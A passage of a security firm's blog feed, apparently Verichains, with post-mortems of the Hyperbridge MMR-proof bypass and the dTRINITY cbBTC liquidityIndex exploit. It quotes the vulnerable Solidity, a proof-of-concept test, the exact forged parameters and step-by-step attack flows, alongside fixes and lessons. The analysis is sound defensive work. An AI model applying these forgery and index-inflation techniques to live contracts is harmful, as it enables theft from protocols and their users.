aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">One of attacker transactions</figcaption></figure></div><h2><strong>Background</strong></h2><p><strong>Hyperbridge</strong> is a cross-chain interoperability layer built by Polytope Labs that connects Polkadot to EVM-compatible chains like Ethereum. It uses the <strong>Interoperable State Machine Protocol (ISMP)</strong> to relay messages between chains, with smart contracts on Ethereum responsible for verifying cross-chain state proofs and dispatching actions like token minting and transfers.</p><p>The bridge&#8217;s security model relies on <strong>Merkle Mountain Range (MMR) proofs</strong> - a data structure used in Polkadot&#8217;s consensus - to verify that incoming cross-chain messages are legitimate. The <code>HandlerV1</code> contract processes these messages: it fetches a committed Merkle root, validates message inclusion against that root, and if verification passes, dispatches the requested action.</p><p>The critical assumption? That the MMR verification library would reject any message not genuinely included in the Merkle tree. That assumption was wrong.</p><h2><strong>Root Cause</strong></h2><p>The vulnerability lies in the <code>CalculateRoot</code> function of the <code>MerkleMountainRange</code> library - a shared Solidity dependency maintained by Polytope Labs for verifying MMR proofs.</p><p>The function has a special early-exit path for single-leaf trees:</p><pre><code><code>// MerkleMountainRange.sol - CalculateRoot function
// https://github.com/polytope-labs/solidity-merkle-trees

function CalculateRoot(
    bytes32[] memory proof,
    MmrLeaf[] memory leaves,
    uint256 leafCount
) internal pure returns (bytes32) {
    // special handle the only 1 leaf MMR
    if (leafCount == 1 &amp;&amp; leaves.length == 1 &amp;&amp; leaves[0].leaf_index == 0) {
        return leaves[0].hash;  // &lt;-- Returns the actual leaf hash
    }
    // ... general computation path follows ...
}
</code></code></pre><p>When <code>leafCount = 1</code> and <code>leaf_index = 0</code>, the function returns <code>leaves[0].hash</code> - the actual commitment from the cross-chain message. This is the correct behavior.</p><p><strong>Here&#8217;s where it gets interesting.</strong> When the attacker set <code>leaf_index = 1</code> - an out-of-bounds index for a tree with only one leaf (<code>leafCount = 1</code>) - the early-exit condition fails because <code>leaves[0].leaf_index == 0</code> is no longer true. The function falls through to the general computation path:</p><pre><code><code>for (uint256 p; p &lt; length; ) {
    uint256 height = subtrees[p];
    current_subtree += 2 ** height;

    LeafIterator memory subtreeLeaves = getSubtreeLeaves(
        leaves, leafIter, current_subtree
    );

    if (subtreeLeaves.length == 0) {
        // No leaves in this subtree - take next proof element
        if (proofIter.data.length == proofIter.offset) {
            break;
        } else {
            push(peakRoots, next(proofIter));  // &lt;-- proof[0] goes directly into peakRoots!
        }
    } else if (subtreeLeaves.length == 1 &amp;&amp; height == 0) {
        push(peakRoots, leaves[subtreeLeaves.offset].hash);
    } else {
        push(peakRoots, CalculateSubtreeRoot(leaves, subtreeLeaves, proofIter, height));
    }
    unchecked { ++p; }
}
</code></code></pre><p>Since <code>leaf_index = 1</code> is out of range, <code>getSubtreeLeaves</code> finds zero leaves matching the subtree. The code enters the <code>subtreeLeaves.length == 0</code> branch and pushes <code>proof[0]</code> directly into <code>peakRoots</code>. After the peak-bagging loop, <code>peakRoots.data[0]</code> is returned as the computed root.</p><p><strong>The result:</strong> <code>CalculateRoot</code> returns <code>proof[0]</code>. The attacker simply sets <code>proof[0]</code> equal to the expected overlay root. The &#8220;computed root&#8221; matches the &#8220;expected root&#8221; - verification passes. The actual leaf hash - the attacker&#8217;s forged message commitment - <strong>is never used in the calculation at all</strong>.</p><h2><strong>Step-by-Step: The Attack</strong></h2><p>The attacker executed a series of transactions between 03:39 and 05:08 UTC, systematically exploiting the vulnerability across multiple bridged tokens:</p><ol><li><p><strong>Test Run</strong> - At 03:39 UTC, the attacker deployed a contract and executed a small test transaction involving DAI (~$423), probing the exploit path (<a href="https://etherscan.io/tx/0xfa23fb22cc8ff10518e561817dea838d3232f7573fd90bd81fd7a30a9161b6f6">tx </a><code>0xfa23fb22...</code>)</p></li><li><p><strong>ARGN Token Mint</strong> - At 04:20 UTC, the attacker minted <strong>~1 billion ARGN tokens</strong>, routing them through Uniswap V3 and Odos Router V3, netting approximately <strong>1.75 ETH</strong> (<a href="https://etherscan.io/tx/0xb28ab9526e1538bdb7a26ec8485d055f9e417620c72a2f4de0f42234b5f8ac09">tx </a><code>0xb28ab952...</code>)</p></li><li><p><strong>DOT Probe</strong> - At 04:26 UTC, the attacker minted <strong>10,000 DOT</strong> in a smaller test, extracting ~0.02 ETH. This transaction had partial execution revert issues, suggesting the attacker was calibrating parameters (<a href="https://etherscan.io/tx/0xb80c7d4cde034689eb9aa42f0d28aa01d12e233e3805a7c8888ed871b7443c3a">tx </a><code>0xb80c7d4c...</code>)</p></li><li><p><strong>Main DOT Dump</strong> - At 04:33 UTC, the attacker minted <strong>1,000,000 DOT</strong> (~$1,260,000 in nominal value) and swapped them through Uniswap V4 and Odos Router, extracting approximately <strong>0.387 ETH</strong> (<a href="https://etherscan.io/tx/0x743f4bdb67df7e6db57346e557f94ded8d7f85e854040963b7f345545e227125">tx </a><code>0x743f4bdb...</code>)</p></li><li><p><strong>Continued Extraction</strong> - At 04:51 UTC, another <strong>712,403 DOT</strong> were minted and dumped through Uniswap V4, with diminishing returns as liquidity pools dried up (<a href="https://etherscan.io/tx/0x6f1efcde4a52db999c8cd233364d889292ae5ba357d9f2ead3dd3774010a0808">tx </a><code>0x6f1efcde...</code>)</p></li><li><p><strong>Final Sweep</strong> - At 05:07 UTC, the attacker minted a final <strong>1,000 DOT</strong>, squeezing the last drops of liquidity from the pool (<a href="https://etherscan.io/tx/0xb93aab835e4002f7d46b63e37a156c78abd1d9256df094d63321deeb514a0634">tx </a><code>0xb93aab83...</code>)</p></li></ol><p>Each exploit transaction followed the same pattern: deploy a new contract, call <code>HandlerV1.handlePostRequests</code> with a forged <code>ChangeAssetAdmin</code> message using the MMR bypass (setting <code>leaf_index = 1</code>, <code>leafCount = 1</code>, and <code>proof[0] = overlay_root</code>), gain admin/minter privileges on the target bridged token contract, mint tokens, and dump them through DEX aggregators.</p><h2><strong>Code Analysis</strong></h2><p>The vulnerability is a textbook case of inconsistent library behavior at edge cases. Here&#8217;s the core of the issue in the <code>HandlerV1.handlePostRequests</code> function:</p><pre><code><code>// HandlerV1.sol - handlePostRequests
// https://github.com/polytope-labs/hyperbridge/blob/05031ae/evm/src/core/HandlerV1.sol

function handlePostRequests(IHost host, PostRequestMessage calldata request) 
    external notFrozen(host) 
{
    uint256 requestsLen = request.requests.length;
    MmrLeaf[] memory leaves = new MmrLeaf[](requestsLen);

    for (uint256 i = 0; i &lt; requestsLen; ++i) {
        PostRequestLeaf memory leaf = request.requests[i];
        bytes32 commitment = leaf.request.hash();
        // leaf.kIndex and leaf.index come directly from untrusted input
        // No validation that leaf.index &lt; leafCount!
        leaves[i] = MmrLeaf(leaf.kIndex, leaf.index, commitment);
    }

    bytes32 root = host.stateMachineCommitment(request.proof.height).overlayRoot;
    if (root == bytes32(0)) revert StateCommitmentNotFound();

    // Passes attacker-controlled leaf_index to the MMR verifier
    bool valid = MerkleMountainRange.VerifyProof(
        root, request.proof.multiproof, leaves, request.proof.leafCount
    );
    if (!valid) revert InvalidProof();

    // If verification "passes", forged messages get dispatched
    for (uint256 i = 0; i &lt; requestsLen; ++i) {
        PostRequestLeaf memory leaf = request.requests[i];
        host.dispatchIncoming(leaf.request, _msgSender());
    }
}
</code></code></pre><p>The handler accepts <code>leaf.index</code> and <code>leafCount</code> directly from the calldata - completely attacker-controlled. No sanity check verifies that <code>leaf.index &lt; leafCount</code>. This untrusted input flows directly into the MMR library&#8217;s <code>CalculateRoot</code>, triggering the bypass.</p><p>The following proof-of-concept demonstrates the inconsistency:</p><pre><code><code>function test_MerkleMountainRange_InconsistentBehavior() public {
    bytes32[] memory proof = new bytes32[](1);
    proof[0] = 0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;

    MmrLeaf[] memory leaves = new MmrLeaf[](1);

    // Case A: leaf_index = 0 &#8594; early exit, returns leaf hash (correct)
    leaves[0] = MmrLeaf(0, 0, 0xbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb);
    bytes32 rootA = MerkleMountainRange.CalculateRoot(proof, leaves, 1);
    // rootA = 0xbbbb...  &#8592; leaf hash, proof is ignored

    // Case B: leaf_index = 1 &#8594; bypasses early exit, returns proof[0] (VULNERABLE)
    leaves[0] = MmrLeaf(0, 1, 0xbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb);
    bytes32 rootB = MerkleMountainRange.CalculateRoot(proof, leaves, 1);
    // rootB = 0xaaaa...  &#8592; attacker controls this! leaf hash completely ignored
}
</code></code></pre><p><strong>The fix is remarkably simple</strong> - a single bounds check:</p><pre><code><code>// Add this before the CalculateRoot computation:
require(leaf.index &lt; leafCount, "leaf index out of bounds");
</code></code></pre><p>One line of validation. That&#8217;s the difference between a secure bridge and a $237K exploit with billions in unbacked tokens minted.</p><h2><strong>Lessons Learned</strong></h2><ul><li><p><strong>Validate all inputs at system boundaries.</strong> The handler accepted <code>leaf_index</code> and <code>leafCount</code> from untrusted calldata and passed them directly to a security-critical library. Every parameter that feeds into proof verification must be bounds-checked before use - trusting that a library will handle edge cases correctly is a dangerous assumption.</p></li><li><p><strong>Fuzz test cryptographic libraries exhaustively.</strong> The MMR library&#8217;s behavior diverged at a single edge case (<code>leaf_index &gt;= leafCount</code>). Random fuzzing with arbitrary <code>leaf_index</code> values would have caught this inconsistency immediately. Cryptographic verification code demands the highest testing standards - property-based and fuzz testing are non-negotiable.</p></li><li><p><strong>Library security is protocol security.</strong> The vulnerable code lived in <code>solidity-merkle-trees</code>, a shared dependency. Bridge protocols that delegate proof verification to external libraries must audit those libraries as rigorously as their own code. A bug in a dependency is a bug in your protocol.</p></li><li><p><strong>Inconsistent edge-case behavior is a vulnerability class.</strong> The <code>CalculateRoot</code> function had two code paths that behaved fundamentally differently based on <code>leaf_index</code>. Path A (index 0) used the leaf hash; Path B (index 1) used the proof element. This kind of bifurcated logic in security-critical code is a red flag that demands explicit documentation and testing.</p></li><li><p><strong>Defense-in-depth for cross-chain bridges.</strong> Beyond proof verification, secondary safeguards - rate limiting on minting, admin-change timelocks, anomaly detection - could have limited the blast radius even after verification was bypassed.</p></li></ul><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.verichains.io/subscribe?"><span>Subscribe now</span></a></p><h2><strong>Conclusion</strong></h2><p>The Hyperbridge exploit is a stark reminder that in cross-chain security, the most devastating vulnerabilities often hide in the most fundamental building blocks. A single missing bounds check - <code>leaf_index &lt; leafCount</code> - turned a Merkle Mountain Range verifier into an open door, allowing an attacker to forge cross-chain messages, seize admin privileges, and mint billions in unbacked tokens across DOT, ARGN, MANTA, and CERE.</p><p>Despite minting over $2 billion in nominal token value, the attacker walked away with roughly $237K - a testament to the thin liquidity of bridged assets, but cold comfort for a protocol that staked its reputation on being &#8220;trust-minimized.&#8221; The ironic timing - just twelve days after an April Fools&#8217; post joking about being hacked - underscores that security claims must be backed by rigorous engineering, not confidence.</p><p>This incident reinforces that <strong>oracle and proof verification code is the bedrock of cross-chain security</strong>. When the verification layer fails, everything built on top of it fails. In DeFi, a missing bounds check isn&#8217;t a minor oversight - it&#8217;s an existential risk.</p><p></p>]]></content:encoded></item><item><title><![CDATA[Deep Dive into the dTRINITY cbBTC Exploit]]></title><description><![CDATA[On March 17, 2026, the DeFi protocol dTRINITY, a lending protocol on Ethereum, suffered a security incident resulting in an estimated loss of ~$257.3K.]]></description><link>https://blog.verichains.io/p/deep-dive-into-the-dtribity-cbbtc</link><guid isPermaLink="false">https://blog.verichains.io/p/deep-dive-into-the-dtribity-cbbtc</guid><dc:creator><![CDATA[HL]]></dc:creator><pubDate>Mon, 06 Apr 2026 03:13:36 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!eWSv!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e6943f8-d515-4544-97ea-642947d1d424_2180x820.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Overview</h2><p>On March 17, 2026, the DeFi protocol <strong>dTRINITY</strong>, a lending protocol on Ethereum, suffered a security incident resulting in an estimated loss of <strong>~$257.3K</strong>.</p><p>The exploit stemmed from an <strong>empty market weakness</strong> commonly found in forks of Aave V3, where reserves with <strong>extremely low liquidity</strong> can behave unpredictably. In this scenario, repeated accumulation of flash loan premiums caused the <code>liquidityIndex</code> to increase to an abnormally high level, disrupting the accuracy of the reserve&#8217;s accounting. This distortion led to precision issues in deposit and withdrawal calculations, enabling the attacker to artificially inflate collateral value, borrow dUSD against it, and reclaim the deposited <code>cbBTC</code> for a net gain.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><div><hr></div><h2>Technical Analysis of the Exploit</h2><h3>Incident Overview</h3><ul><li><p><strong>Date:</strong> March 17, 2026</p></li><li><p><strong>Protocol:</strong> dTRINITY</p></li><li><p><strong>L2Pool Contrac</strong>t: <a href="https://etherscan.io/address/0xfda3a0effe2f3917aa60e0741c6788619ae19e84">0xfda3a0effe2f3917aa60e0741c6788619ae19e84</a></p></li><li><p><strong>Exploiter Address:</strong> <a href="https://etherscan.io/address/0x08cfdff8ded5f1326628077f38d4f90df6417fd9">0x08cfdff8ded5f1326628077f38d4f90df6417fd9</a></p></li><li><p><strong>Attack Transactions:</strong></p><ul><li><p><a href="https://etherscan.io/tx/0x8d33d688def03551cb77b0463f55ae5a670f5ebf3bbb5b8aa0e284c040ae7139">0x8d33d688def03551cb77b0463f55ae5a670f5ebf3bbb5b8aa0e284c040ae7139</a></p></li><li><p><a href="https://etherscan.io/tx/0xbec4c8ae19c44990984fd41dc7dd1c9a22894adccf31ca6b61b5aa084fc33260">0xbec4c8ae19c44990984fd41dc7dd1c9a22894adccf31ca6b61b5aa084fc33260</a></p></li></ul></li></ul><div><hr></div><h3>Root Cause</h3><p>The exploit stemmed from an <strong>empty market vulnerability</strong> in the lending pool of <strong>dTRITINY</strong>, an <strong>AAVE</strong> V3&#8211;style implementation, where the cbBTC reserve operated with <strong>near-zero liquidity</strong>.</p><p>At the core of the issue is the protocol&#8217;s liquidity index update mechanism, which is triggered on every flash loan repayment through <code>_handleFlashLoanRepayment</code> and is defined as:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\text{liquidityIndex}_{new}\n=\n\\text{liquidityIndex}_{old}\n\\times\n\\left(1 + \\frac{\\text{premiumToLP}}{\\text{totalLiquidity}}\\right)\n&quot;,&quot;id&quot;:&quot;SLSICESHPG&quot;}" data-component-name="LatexBlockToDOM"></div><p>Under these conditions, repeated flash loan premium accrual caused the reserve&#8217;s <code>liquidityIndex</code> to increase <strong>disproportionately</strong>, as the index update mechanism scales inversely with total liquidity. With minimal liquidity, even small premiums led to significant index inflation.</p><p>This created a <strong>misalignment between scaled balances and underlying assets</strong>, introducing a rounding asymmetry in which:</p><ul><li><p>Small deposits minted shares at an artificially low cost</p></li><li><p>Withdrawals redeemed disproportionately higher value</p></li></ul><p>As a result, the attacker was able to <strong>inflate collateral value</strong>, borrow against it, and extract real assets from the protocol.</p><h2>Attack Flow</h2><p>The exploit was executed across <strong>two sequential transactions</strong>, leveraging abnormal growth of the <code>liquidityIndex</code> in a near-empty cbBTC reserve.</p><h3><code>liquidityIndex</code> Manipulation Transaction</h3><p>Transaction: <a href="https://etherscan.io/tx/0x8d33d688def03551cb77b0463f55ae5a670f5ebf3bbb5b8aa0e284c040ae7139">0x8d33d688def03551cb77b0463f55ae5a670f5ebf3bbb5b8aa0e284c040ae7139</a></p><p>The attacker executed a multi-step strategy to manipulate the internal accounting of the <strong>cbBTC reserve</strong>, ultimately inflating the <code>liquidityIndex</code> far beyond its true economic value.</p><ul><li><p>Borrowed <code>cbBTC</code> from <strong>Morpho Blue</strong> and deposited it into the <code>dLEND-cbBTC</code> pool, minting 100 scaled shares.</p></li><li><p>Withdrew 99 shares, leaving only a share balance and effectively reducing the reserve to an <strong>almost-empty state.</strong></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4rd0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5418ead6-4043-47ed-a14c-435681b31e19_2130x892.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4rd0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5418ead6-4043-47ed-a14c-435681b31e19_2130x892.png 424w, https://substackcdn.com/image/fetch/$s_!4rd0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5418ead6-4043-47ed-a14c-435681b31e19_2130x892.png 848w, https://substackcdn.com/image/fetch/$s_!4rd0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5418ead6-4043-47ed-a14c-435681b31e19_2130x892.png 1272w, https://substackcdn.com/image/fetch/$s_!4rd0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5418ead6-4043-47ed-a14c-435681b31e19_2130x892.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4rd0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5418ead6-4043-47ed-a14c-435681b31e19_2130x892.png" width="1456" height="610" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5418ead6-4043-47ed-a14c-435681b31e19_2130x892.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:610,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:476899,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/193241153?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5418ead6-4043-47ed-a14c-435681b31e19_2130x892.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4rd0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5418ead6-4043-47ed-a14c-435681b31e19_2130x892.png 424w, https://substackcdn.com/image/fetch/$s_!4rd0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5418ead6-4043-47ed-a14c-435681b31e19_2130x892.png 848w, https://substackcdn.com/image/fetch/$s_!4rd0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5418ead6-4043-47ed-a14c-435681b31e19_2130x892.png 1272w, https://substackcdn.com/image/fetch/$s_!4rd0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5418ead6-4043-47ed-a14c-435681b31e19_2130x892.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div></li><li><p>Transferred <strong>0.8 cbBTC</strong> directly to the <strong>dLEND-cbBTC</strong> aToken contract.</p></li><li><p>Repeatedly invoked <code>flashLoan</code> operations to accumulate premiums into the reserve, causing the <code>liquidityIndex</code> to increase <strong>disproportionately</strong> (reaching ~6.22e27)</p></li><li><p>Performed additional deposit/withdraw cycles to extract residual liquidity from the pool</p></li><li><p>Repaid the flash loan</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8gwD!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b086a19-6377-42d7-aaab-ecbd9826e942_2354x460.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8gwD!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b086a19-6377-42d7-aaab-ecbd9826e942_2354x460.png 424w, https://substackcdn.com/image/fetch/$s_!8gwD!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b086a19-6377-42d7-aaab-ecbd9826e942_2354x460.png 848w, https://substackcdn.com/image/fetch/$s_!8gwD!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b086a19-6377-42d7-aaab-ecbd9826e942_2354x460.png 1272w, https://substackcdn.com/image/fetch/$s_!8gwD!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b086a19-6377-42d7-aaab-ecbd9826e942_2354x460.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8gwD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b086a19-6377-42d7-aaab-ecbd9826e942_2354x460.png" width="1456" height="285" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8b086a19-6377-42d7-aaab-ecbd9826e942_2354x460.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:285,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:201143,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/193241153?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b086a19-6377-42d7-aaab-ecbd9826e942_2354x460.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8gwD!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b086a19-6377-42d7-aaab-ecbd9826e942_2354x460.png 424w, https://substackcdn.com/image/fetch/$s_!8gwD!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b086a19-6377-42d7-aaab-ecbd9826e942_2354x460.png 848w, https://substackcdn.com/image/fetch/$s_!8gwD!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b086a19-6377-42d7-aaab-ecbd9826e942_2354x460.png 1272w, https://substackcdn.com/image/fetch/$s_!8gwD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8b086a19-6377-42d7-aaab-ecbd9826e942_2354x460.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div></li></ul><p>At the end of this transaction, the reserve was left in a <strong>distorted state</strong>, where the <code>liquidityIndex</code> was significantly inflated relative to actual liquidity.</p><h3>Collateral Inflation and Profit Extraction Transaction</h3><p>Transaction: <a href="https://etherscan.io/tx/0xbec4c8ae19c44990984fd41dc7dd1c9a22894adccf31ca6b61b5aa084fc33260">0xbec4c8ae19c44990984fd41dc7dd1c9a22894adccf31ca6b61b5aa084fc33260</a></p><p>With the manipulated reserve state in place, the attacker proceeded to extract value by leveraging the inflated <code>liquidityIndex</code>.</p><ul><li><p>Borrowed <strong>cbBTC</strong> again from <strong>Morpho Blue</strong> and deposited <strong>~7.72 cbBTC</strong> into the compromised reserve. Due to the inflated <code>liquidityIndex</code>, the deposit was <strong>overvalued</strong>, resulting in an artificially large collateral position.</p></li><li><p>Used this inflated collateral to borrow approximately ~<strong>257.3K dUSD</strong> from the <strong>dLEND-dUSD</strong> market.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!eWSv!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e6943f8-d515-4544-97ea-642947d1d424_2180x820.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eWSv!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e6943f8-d515-4544-97ea-642947d1d424_2180x820.png 424w, https://substackcdn.com/image/fetch/$s_!eWSv!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e6943f8-d515-4544-97ea-642947d1d424_2180x820.png 848w, https://substackcdn.com/image/fetch/$s_!eWSv!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4e6943f8-d515-4544-97ea-642947d1d424_2180x820.png 1272w, 